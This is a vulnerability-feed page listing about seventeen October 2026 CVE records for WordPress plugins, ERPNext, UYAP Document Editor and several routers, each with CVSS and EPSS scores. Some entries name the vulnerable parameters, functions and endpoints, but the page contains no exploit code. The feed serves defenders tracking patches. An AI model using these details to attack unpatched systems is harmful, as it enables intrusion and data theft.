The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to blind SQL Injection via the 'inputs' parameter in all versions up to, and including, 1.15.48 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The nonce required to reach the vulnerable handler is emitted to every public page that renders a form, making it trivially obtainable by an unauthenticated attacker from page source.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95808).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95808&date=2026-10-25).
Sources:
NVD CVE-2026-95808: https://nvd.nist.gov/vuln/detail/CVE-2026-95808
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95808&date=2026-10-25
The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to blind SQL Injection via the 'inputs' parameter in all versions up to, and including, 1.15.48 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The nonce required to reach the vulnerable handler is emitted to every public page that renders a form, making it trivially obtainable by an unauthenticated attacker from page source.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.4.3 via the saveImage() function.
https://kevwire.com/record/CVE-2026-87855
The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.4.3 via the saveImage() function. (Oct 14, 2026).
The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.4.3 via the saveImage() function. This is due to the startSession() function accepting an empty jtlauth parameter as a valid credential, combined with insufficient file type validation in handleImagePush(). This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.
CVSS 9.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87855).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87855&date=2026-10-25).
Sources:
NVD CVE-2026-87855: https://nvd.nist.gov/vuln/detail/CVE-2026-87855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87855&date=2026-10-25
The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.4.3 via the saveImage() function. This is due to the startSession() function accepting an empty jtlauth parameter as a valid credential, combined with insufficient file type validation in handleImagePush(). This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected by this vulnerability is an unknown...
https://kevwire.com/record/CVE-2026-109523
A vulnerability was found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected by this vulnerability is an unknown... (Oct 13, 2026).
A vulnerability was found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected by this vulnerability is an unknown functionality of the file Admin/getclinic.php of the component AJAX Endpoint. The manipulation of the argument city/cid results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109523).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109523&date=2026-10-25).
Sources:
NVD CVE-2026-109523: https://nvd.nist.gov/vuln/detail/CVE-2026-109523
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109523&date=2026-10-25
A vulnerability was found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected by this vulnerability is an unknown functionality of the file Admin/getclinic.php of the component AJAX Endpoint. The manipulation of the argument city/cid results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in YouTransfer up to 0.0.7/1.0.6/1.1.0. Affected is an unknown function of the file /settings/template of the component Template Rendering.
https://kevwire.com/record/CVE-2026-109519
A vulnerability was detected in YouTransfer up to 0.0.7/1.0.6/1.1.0. Affected is an unknown function of the file /settings/template of the component Template Rendering. (Oct 13, 2026).
A vulnerability was detected in YouTransfer up to 0.0.7/1.0.6/1.1.0. Affected is an unknown function of the file /settings/template of the component Template Rendering. The manipulation results in path traversal. The attack may be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 6.9 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109519).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109519&date=2026-10-25).
Sources:
NVD CVE-2026-109519: https://nvd.nist.gov/vuln/detail/CVE-2026-109519
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109519&date=2026-10-25
A vulnerability was detected in YouTransfer up to 0.0.7/1.0.6/1.1.0. Affected is an unknown function of the file /settings/template of the component Template Rendering. The manipulation results in path traversal. The attack may be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The AnyComment plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 0.3.6.
https://kevwire.com/record/CVE-2026-103422
The AnyComment plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 0.3.6. (Oct 14, 2026).
The AnyComment plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 0.3.6. This is due to insufficient input sanitization on the public /wp-json/anycomment/v1/subscribe REST endpoint and missing output escaping in AnyCommentSubscriptionsTable::column_default(), which returns the stored email verbatim into an HTML <td> when the subscription's user_ID does not resolve to an existing WP_User. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the AnyComment → Subscriptions admin page.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103422).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103422&date=2026-10-25).
Sources:
NVD CVE-2026-103422: https://nvd.nist.gov/vuln/detail/CVE-2026-103422
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103422&date=2026-10-25
The AnyComment plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 0.3.6. This is due to insufficient input sanitization on the public /wp-json/anycomment/v1/subscribe REST endpoint and missing output escaping in AnyCommentSubscriptionsTable::column_default(), which returns the stored email verbatim into an HTML <td> when the subscription's user_ID does not resolve to an existing WP_User. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the AnyComment → Subscriptions admin page.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'QUERY_STRING / REQUEST_URI' parameter in all versions up to, and including, 1.4.5 due...
https://kevwire.com/record/CVE-2026-100153
The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'QUERY_STRING / REQUEST_URI' parameter in all versions up to, and including, 1.4.5 due... (Oct 14, 2026).
The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'QUERY_STRING / REQUEST_URI' parameter in all versions up to, and including, 1.4.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has placed the [NewStatPress type="Top Pages"] shortcode on a publicly viewable page, and that the attacker's crafted URL accumulates enough hits to appear in the top-N ranking.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100153).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100153&date=2026-10-25).
Sources:
NVD CVE-2026-100153: https://nvd.nist.gov/vuln/detail/CVE-2026-100153
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100153&date=2026-10-25
The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'QUERY_STRING / REQUEST_URI' parameter in all versions up to, and including, 1.4.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has placed the [NewStatPress type="Top Pages"] shortcode on a publicly viewable page, and that the attacker's crafted URL accumulates enough hits to appear in the top-N ranking.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in M A Vinoth Kumar Frontend Dashboard frontend-dashboard allows Privilege Escalation.This issue affects Frontend Dashboard: from n/a...
https://kevwire.com/record/CVE-2026-107424
Incorrect Privilege Assignment vulnerability in M A Vinoth Kumar Frontend Dashboard frontend-dashboard allows Privilege Escalation.This issue affects Frontend Dashboard: from n/a... (Oct 14, 2026).
Incorrect Privilege Assignment vulnerability in M A Vinoth Kumar Frontend Dashboard frontend-dashboard allows Privilege Escalation.This issue affects Frontend Dashboard: from n/a through 3.0.7.
CVSS 9.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107424).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107424&date=2026-10-25).
Sources:
NVD CVE-2026-107424: https://nvd.nist.gov/vuln/detail/CVE-2026-107424
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107424&date=2026-10-25
Incorrect Privilege Assignment vulnerability in M A Vinoth Kumar Frontend Dashboard frontend-dashboard allows Privilege Escalation.This issue affects Frontend Dashboard: from n/a through 3.0.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows...
https://kevwire.com/record/CVE-2026-107428
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows... (Oct 14, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.
CVSS 7.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107428).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107428&date=2026-10-25).
Sources:
NVD CVE-2026-107428: https://nvd.nist.gov/vuln/detail/CVE-2026-107428
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107428&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects...
https://kevwire.com/record/CVE-2026-107431
Missing Authorization vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects... (Oct 14, 2026).
Missing Authorization vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JetFormBuilder: from n/a through 3.6.6.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107431).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107431&date=2026-10-25).
Sources:
NVD CVE-2026-107431: https://nvd.nist.gov/vuln/detail/CVE-2026-107431
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107431&date=2026-10-25
Missing Authorization vulnerability in Crocoblock JetFormBuilder jetformbuilder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JetFormBuilder: from n/a through 3.6.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in WP SYNTEX Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through 3.8.9.
https://kevwire.com/record/CVE-2026-97278
Deserialization of Untrusted Data vulnerability in WP SYNTEX Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through 3.8.9. (Oct 14, 2026).
Deserialization of Untrusted Data vulnerability in WP SYNTEX Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through 3.8.9.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97278).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97278&date=2026-10-25).
Sources:
NVD CVE-2026-97278: https://nvd.nist.gov/vuln/detail/CVE-2026-97278
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97278&date=2026-10-25
Deserialization of Untrusted Data vulnerability in WP SYNTEX Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through 3.8.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Ministry of Justice General Directorate of Information Technology UYAP...
https://kevwire.com/record/CVE-2026-18390
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Ministry of Justice General Directorate of Information Technology UYAP... (Oct 12, 2026).
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on iOS allows OS Command Injection.

This issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18390).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18390&date=2026-10-25).
Sources:
NVD CVE-2026-18390: https://nvd.nist.gov/vuln/detail/CVE-2026-18390
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18390&date=2026-10-25
Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on iOS allows OS Command Injection.

This issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of...
https://kevwire.com/record/CVE-2026-12613
Deserialization of untrusted data vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of... (Oct 12, 2026).
Deserialization of untrusted data vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on MacOS allows Object Injection.

This issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12613).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-12613&date=2026-10-25).
Sources:
NVD CVE-2026-12613: https://nvd.nist.gov/vuln/detail/CVE-2026-12613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-12613&date=2026-10-25
Deserialization of untrusted data vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on MacOS allows Object Injection.

This issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.118.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks.
https://kevwire.com/record/CVE-2026-109672
Frappe ERPNext before 15.118.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. (Oct 12, 2026).
Frappe ERPNext before 15.118.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated users can query these endpoints to read financial data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109672).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109672&date=2026-10-25).
Sources:
NVD CVE-2026-109672: https://nvd.nist.gov/vuln/detail/CVE-2026-109672
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109672&date=2026-10-25
Frappe ERPNext before 15.118.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated users can query these endpoints to read financial data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 16.34.0 contains a missing authorization vulnerability that allows authenticated users to read financial data beyond their permitted role.
https://kevwire.com/record/CVE-2026-109614
Frappe ERPNext before 16.34.0 contains a missing authorization vulnerability that allows authenticated users to read financial data beyond their permitted role. (Oct 12, 2026).
Frappe ERPNext before 16.34.0 contains a missing authorization vulnerability that allows authenticated users to read financial data beyond their permitted role. Attackers can query endpoints lacking proper authorization checks to access sensitive financial records they should not be able to view.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109614).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109614&date=2026-10-25).
Sources:
NVD CVE-2026-109614: https://nvd.nist.gov/vuln/detail/CVE-2026-109614
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109614&date=2026-10-25
Frappe ERPNext before 16.34.0 contains a missing authorization vulnerability that allows authenticated users to read financial data beyond their permitted role. Attackers can query endpoints lacking proper authorization checks to access sensitive financial records they should not be able to view.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formTcpipSetup of the file /goform/formTcpipSetup.
https://kevwire.com/record/CVE-2026-109157
A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formTcpipSetup of the file /goform/formTcpipSetup. (Oct 13, 2026).
A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formTcpipSetup of the file /goform/formTcpipSetup. Performing a manipulation of the argument Name results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor confirms: "As this router was EOL'd in 2011, we have no way of testing if such vulnerability exists. We will notify our customers of a potential vulnerability on this product." This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 8.6 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109157).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109157&date=2026-10-25).
Sources:
NVD CVE-2026-109157: https://nvd.nist.gov/vuln/detail/CVE-2026-109157
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109157&date=2026-10-25
A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formTcpipSetup of the file /goform/formTcpipSetup. Performing a manipulation of the argument Name results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor confirms: "As this router was EOL'd in 2011, we have no way of testing if such vulnerability exists. We will notify our customers of a potential vulnerability on this product." This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Impacted is the function mysqli_query of the...
https://kevwire.com/record/CVE-2026-109116
A vulnerability was determined in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Impacted is the function mysqli_query of the... (Oct 13, 2026).
A vulnerability was determined in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Impacted is the function mysqli_query of the component Order Management. Executing a manipulation of the argument ID can lead to authorization bypass. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109116).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109116&date=2026-10-25).
Sources:
NVD CVE-2026-109116: https://nvd.nist.gov/vuln/detail/CVE-2026-109116
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109116&date=2026-10-25
A vulnerability was determined in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Impacted is the function mysqli_query of the component Order Management. Executing a manipulation of the argument ID can lead to authorization bypass. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings...
https://kevwire.com/record/CVE-2026-109109
A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings... (Oct 13, 2026).
A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings Export CGI. Performing a manipulation of the argument HTTP_COOKIE/X-Cmd results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure.
CVSS 9.3 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109109).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109109&date=2026-10-25).
Sources:
NVD CVE-2026-109109: https://nvd.nist.gov/vuln/detail/CVE-2026-109109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109109&date=2026-10-25
A vulnerability was detected in Wavlink WL-WN530BE1-A 251117. This vulnerability affects the function strcpy of the file /cgi-bin/ExportAllSettings.cgi of the component Settings Export CGI. Performing a manipulation of the argument HTTP_COOKIE/X-Cmd results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

